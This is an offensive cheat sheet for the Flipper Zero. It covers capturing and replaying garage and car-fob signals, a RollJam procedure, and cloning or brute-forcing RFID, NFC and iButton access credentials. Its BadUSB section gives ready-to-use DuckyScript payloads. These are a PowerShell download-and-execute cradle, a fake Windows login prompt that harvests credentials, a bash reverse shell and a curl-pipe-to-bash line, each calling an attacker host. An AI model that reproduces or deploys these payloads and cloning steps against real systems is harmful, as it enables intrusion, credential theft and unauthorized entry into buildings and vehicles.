Flipper Zero & RF Hacking

# Install qFlipper (official desktop app)
# Download from: https://flipperzero.one/update

# Update via qFlipper
# Connect Flipper > Click "Update" > Select firmware

# Install custom firmware via qFlipper
# 1. Download .tgz firmware file
# 2. qFlipper > Install from file > Select .tgz

# Useful firmware repositories
https://github.com/DarkFlippers/unleashed-firmware
https://github.com/RogueMaster/flipperzero-firmware-wPlugins
https://github.com/Flipper-XFW/Xtreme-Firmware

# Sub-GHz Menu Navigation
Main Menu > Sub-GHz > Read

# Capture unknown signals (RAW mode)
Sub-GHz > Read RAW
# Press button on target remote
# Save captured signal

# Replay captured signal
Sub-GHz > Saved > [signal_name] > Send

# Frequency Analyzer (find active frequency)
Sub-GHz > Frequency Analyzer
# Useful range: 300-928 MHz
# Common frequencies:
#   315 MHz - North America (garage, car fobs)
#   433.92 MHz - Europe/Asia (remotes, sensors)
#   868 MHz - Europe (smart home, alarms)
#   915 MHz - North America (LoRa, smart meters)

# Add custom frequencies
# Edit: SD Card/subghz/assets/setting_user

# Static vs Rolling Codes
# Static: Same code every time (older systems) - Easy to clone
# Rolling: Code changes each transmission - Requires advanced attacks

# Identifying code type
Sub-GHz > Read > Capture multiple presses
# If codes are identical = Static (vulnerable)
# If codes change = Rolling (protected)

# Common static code protocols (vulnerable)
- Princeton
- CAME 12/24 bit
- Linear
- Nice FLO
- Gate TX

# Rolling code protocols (protected)
- Keeloq (most garage doors)
- CAME Atomo
- Nice Flor-S
- Starline

# RollJam Attack (requires additional hardware)
# 1. Jam target frequency while capturing
# 2. Victim presses button - you capture, they fail
# 3. Victim presses again - you capture second code
# 4. Release jam, replay first code
# 5. You now have one valid unused code

# Read LF cards (125 kHz)
Main Menu > 125 kHz RFID > Read

# Common 125 kHz card types:
# - EM4100 (EM-Marin) - Most common, easy to clone
# - HID Prox - Corporate access cards
# - Indala - Government/secure facilities
# - AWID - Access control systems

# Clone to T5577 card
125 kHz RFID > Saved > [card] > Write

# Emulate card (be the badge)
125 kHz RFID > Saved > [card] > Emulate

# Add manually if you know the ID
125 kHz RFID > Add Manually > [Select type]
# Enter Facility Code + Card Number

# Brute force (if you know partial info)
125 kHz RFID > Extra Actions > [protocol] Brute Force

# Read NFC cards
Main Menu > NFC > Read

# Common NFC card types:
# - MIFARE Classic (1K/4K) - Transit, access (weak crypto)
# - MIFARE Ultralight - Event tickets, transit
# - MIFARE DESFire - High security access
# - NTAG21x - NFC tags, smart posters
# - iCLASS - HID high security

# MIFARE Classic attacks
NFC > Read > [Detect card]
# Flipper attempts automatic key recovery
# Uses dictionary attack + hardnested attack

# Save and emulate
NFC > Saved > [card] > Emulate

# Extract keys (if attack succeeds)
# Keys saved in .nfc file on SD card

# Write to Magic MIFARE card (Gen1a/Gen2)
NFC > Saved > [card] > Write

# Manual key entry
# Edit .nfc file to add known keys
# Common default keys:
# FFFFFFFFFFFF (factory default)
# A0A1A2A3A4A5 (MAD key)
# D3F7D3F7D3F7 (NFC Forum)

# Infrared capabilities
Main Menu > Infrared

# Universal Remotes (built-in)
Infrared > Universal Remotes
# TVs, ACs, Projectors, Audio systems
# Useful for: conference room takeover, TV-B-Gone

# Learn new remote
Infrared > Learn New Remote
# Point remote at Flipper, press buttons
# Save each button with descriptive name

# Brute force TV codes
Infrared > Universal Remotes > TVs
# Cycles through known power codes
# Useful for turning off public displays

# Custom IR files
# Download IR databases:
# https://github.com/logickworkshop/Flipper-IRDB
# Copy to: SD Card/infrared/

# IR Blaster range
# Built-in: ~3 meters
# With IR blaster module: 15+ meters

# BadUSB location
Main Menu > Bad USB

# Payload location on SD card
SD Card/badusb/

# Basic DuckyScript syntax
DELAY 1000          # Wait 1 second (ms)
STRING Hello World  # Type text
ENTER              # Press Enter
GUI r              # Windows+R (Run dialog)
ALT F4             # Close window
CTRL ALT DELETE    # Ctrl+Alt+Del

# Windows reverse shell payload
REM Open PowerShell and download/execute payload
DELAY 2000
GUI r
DELAY 500
STRING powershell -w hidden
ENTER
DELAY 1000
STRING IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/shell.ps1')
ENTER

# Windows credential harvester
REM Fake Windows login prompt
DELAY 1000
GUI r
DELAY 300
STRING powershell -w hidden -ep bypass
ENTER
DELAY 500
STRING Add-Type -AssemblyName System.Windows.Forms;$c=[System.Windows.Forms.MessageBox]::Show('Your session has expired. Please re-enter your credentials.','Windows Security',4);$cred=Get-Credential;$cred.GetNetworkCredential()|fl *|Out-File $env:TEMPcreds.txt
ENTER

# Linux reverse shell
DELAY 1000
CTRL ALT t
DELAY 500
STRING bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
ENTER

# Mac payload
DELAY 1000
GUI SPACE
DELAY 300
STRING terminal
ENTER
DELAY 500
STRING curl http://ATTACKER_IP/payload.sh | bash
ENTER

# GPIO Pin capabilities
Main Menu > GPIO

# Connect external modules:
# - WiFi Devboard (ESP32) - WiFi attacks, deauth
# - CC1101 module - Extended Sub-GHz range
# - NRF24 module - 2.4GHz attacks (MouseJack)
# - Proxmark3 - Advanced RFID (via UART)

# WiFi Devboard attacks (with Marauder firmware)
# - Beacon spam
# - Deauthentication
# - Probe request sniffing
# - Evil portal
# - Packet capture

# UART Bridge (connect to devices)
GPIO > USB-UART Bridge
# Useful for:
# - Router console access
# - IoT device debugging
# - Embedded system hacking

# GPIO pinout (directly usable)
# 3.3V, 5V, GND, TX, RX, and more
# Read sensors, control devices

# iButton (Dallas keys / 1-Wire)
Main Menu > iButton

# Common uses:
# - Building access
# - Elevator control
# - Time clocks
# - Guard tour systems

# Read iButton
iButton > Read
# Touch key to Flipper's iButton contacts

# Common iButton types:
# - DS1990A (ROM only) - Easy to clone
# - DS1982 (EEPROM) - Stores data
# - DS1961S (SHA-1) - Cryptographic

# Clone to RW1990 blank
iButton > Saved > [key] > Write
# Requires RW1990 writable key

# Emulate
iButton > Saved > [key] > Emulate
# Hold Flipper to reader

# Essential Flipper apps (install via qFlipper or web)
- Marauder (WiFi attacks - requires devboard)
- DTMF Dolphin (phone tones)
- Barcode Generator
- QR Code
- GPS (with module)
- Geiger Counter (with module)

# SD Card structure for assets
SD Card/
├── badusb/          # DuckyScript payloads
├── infrared/        # IR remote files
├── nfc/             # NFC card dumps
├── subghz/          # Sub-GHz captures
├── lfrfid/          # 125kHz card data
├── ibutton/         # iButton dumps
└── apps_data/       # App-specific data

# Useful databases
https://github.com/UberGuidoZ/Flipper      # Massive collection
https://github.com/logickworkshop/Flipper-IRDB  # IR remotes
https://github.com/Gioman101/FlipperAmi  # Amiibo collection

# Update databases
# Download repos, copy relevant folders to SD card

# Discord communities
Flipper Devices (Official)
Flipper Zero Unofficial